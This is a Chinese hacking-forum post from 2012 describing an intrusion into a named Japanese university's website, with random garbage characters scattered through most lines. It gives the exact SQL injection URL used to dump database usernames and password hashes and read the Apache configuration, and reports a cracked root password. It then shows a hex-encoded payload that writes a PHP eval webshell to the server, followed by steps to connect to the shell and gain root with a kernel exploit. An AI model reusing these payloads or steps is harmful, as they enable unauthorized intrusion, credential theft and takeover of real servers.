找回密码
 立即注册
查看: 3332|回复: 0
打印 上一主题 下一主题

入侵日本同志社大学

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-21 13:48:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
入侵日本同志社大学技术分析
7 g+ ]6 C! z3 B( J/ i- s8 M& E4 a+ x5 ^, |
http://www.doshisha.ac.jp/chs/news/index.php?i=-1! R/ h7 E. @7 O+ p( j; J
然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:) i9 q. Q0 v: S3 D# b

# a7 Z2 {3 w# b; R  i8 U1 Ahttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user9 K; M) p5 D* }, z

2 l. [# n# p- o0 ^* I: Q6 a  G 7 l* D9 y; f' o' b4 C

0 x( u, l7 q1 @& @  b//@@datadir为数据库文件路径 4 v1 Q. V( n3 S! X3 M( i& P
+ F! r( T5 c& g. W2 w
+ \! S" }/ F7 u( }
//load_file读取网站容器apache的配置文件 . o6 h: Q1 w2 P2 P3 E. ^; W* i
' N  C/ U7 t; y' G: `

& o. a! L& u! w# |* I% y- s# Y% U( {% l//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机 6 T* ?- I/ F- p3 @6 h. M4 G
复制代码
; a: w0 e/ K* z! M0 }6 Z# z2 {+ J. s+ \% H2 ]! G( G& c: m2 ^/ l& b
虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。4 w( j8 q; A, {% Y/ ~$ f

* n0 z- r" c; r+ r2 }1 E而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。8 [# }: \- o) P# _; P
(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)& J( O% m# }2 A0 I# O6 c
7 g  r2 k* o8 |: A& V) ?3 m+ B9 q  o
前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。
3 |  [" P3 ^( o如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html3 u" i* X3 }; S) o  r0 }, c
! E7 [  J( L$ @' N7 C
既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/4 f5 j3 G1 y/ G  Y
虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。( h' \7 l) U, ~% T% g! ~) W9 n9 _2 a
直接写一句话:
+ B, I( p; \! {, B" K4 ]2 E" W( ?: r' T! E1 X6 }- E
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#
, b1 U* H# O  B% o; K" X" n6 W$ D  p! b' T0 w
9 [# w' a6 x/ y9 n% G* J
$ q1 l( z5 N- e: O: b7 v  \0 |  x
//最后的#是为了闭合前面的语句
0 s' s9 H! [. ]7 N
  m+ ~8 S# V' M# ^! I+ E6 |8 B( }$ r/ J9 U1 S5 Q* ?
/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E
, C" U) ^; I. c% P $ b* B4 K' [$ J6 y# ^
" z$ C* \' P1 v( S+ g+ ^
为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/ & A2 m2 z  O8 R7 }$ Y' z
( E" {- N8 @" |9 Z# U. e
" C5 a6 g6 O8 Y# E4 R
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句 ) `* @: T4 p( w: X
( E& z8 t7 |$ j2 o1 |$ ]# l
1 V" R9 ]1 [) B; u
//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误 9 t% l1 X' B, i' j
//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>”
) t- u- o+ M  w: }/ k+ s复制代码
! J9 P- n! j) ^  s, R6 ?: s1 E: V' k  G/ k/ W; T" ~4 g
HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有
7 c- Y' Z& {  {5 {. k. [通过上述注入语句,我们就得到了一句话木马:
2 ~4 t: g: Q: G8 T6 W; l0 I7 |+ }  b8 C; R$ U9 X3 l& F! h

- [( N! B& ]0 x  e7 K' R. Q+ a) c3 U
6 X- g6 I% A" S2 |5 \ " q( r; G$ R) J2 t. d( c! T! I

4 |8 D( p, T1 b6 N5 Nhttp://www.doshisha.ac.jp/english/engnews_img/aa.php
# a6 @# l2 i3 a; t2 P: }复制代码1 l9 Y* W. o, G1 _4 l  H% C
5 d. v/ C/ _$ k+ l
用菜刀连接,密码是cmd,如图所示:
- O2 h: Y6 E2 `& K; {然后在命令提示行里看了一下,现在的权限是:9 z# _5 N4 }! \7 B' E6 p* d
+ ^. v1 o0 t$ l- w
之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。
" x: d/ E+ i0 L9 r8 R好在赋权给这个文件夹不需要root,直接执行赋权语句:9 @, s% C: B# d: C2 e

6 i4 C4 T' C) g* c( [ ) X9 X# p1 a& Y# L3 \" ~  `
! f, a# P* \6 r$ L! ~/ y$ V; a+ z8 w
2 ~" r  B3 g' J$ p
2 @3 f/ A+ s1 y9 c9 p
chmod +x /tmp/ ) b2 z/ h. [7 C6 S& F3 X3 m7 M
复制代码
: w- v: J; n( f; L; j* y! t0 W
在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行
4 S$ @4 A# F! R, r# Y7 g然后就查了一下内核版本:& W# n( Y) S4 ?4 S1 J

- C. C! i$ {; b4 I; [ 0 R$ ?2 H9 Z$ r
- t; z) f4 L+ H& ]# E
0 Y/ Y6 K3 a4 N- l% s
3 e( E# L: y4 a. o& ]
uname-a
  P) |0 b; j( {9 _" F8 Z
9 t$ O% e% z: |# w! i& W  b
) q- f3 C: |; ~3 h( Q//其实lsb_release -a
5 a* K  g" ~' t  @# @复制代码
/ N3 F: N9 c# }7 o6 c3 ^
: s. r6 H1 f, O" O( n如图所示:2 s1 _1 M' Z: g6 ~+ R

# w8 F" H) J# L1 f* A7 n) g) t3 ?内核版本:linux mainz1 2.6.28-194.e15
9 M9 p8 l! ?5 Z/ z& F系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)1 I6 C" d' c$ l- a2 Z7 _6 h; M" o
查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹
0 c2 x1 ~/ F/ V; ~, P% R
5 L( A. S' p- w3 t( h1 e( a! r然后给予执行权限
% E- \" |  V% B; Z$ B' x一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样
. |1 }5 R; N7 u" ~8 c1 R# U
$ Y' b* v# Z& N, _( A* b! p
9 e3 Y0 q; ^$ \% }6 K' ?3 F4 C7 A; `. z; e5 m

) {4 I% I; k' n2 q5 q
( _; S+ R# o, u6 V) H9 Vchmod +x /tmp/2.6.18-194 $ p2 t9 o( T% t, w
复制代码 然后直接执行!~7 _7 I, r) j! k; y
) E4 _; _5 n: H; `' c9 d
总结:6 A( a0 ^# n9 L  {# e2 {
这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了
$ n/ K& y+ g) I, n7 o提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root
8 A% h; h9 @- ~5 w1 L: ~0 \; T
& y: F1 \, W9 W
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表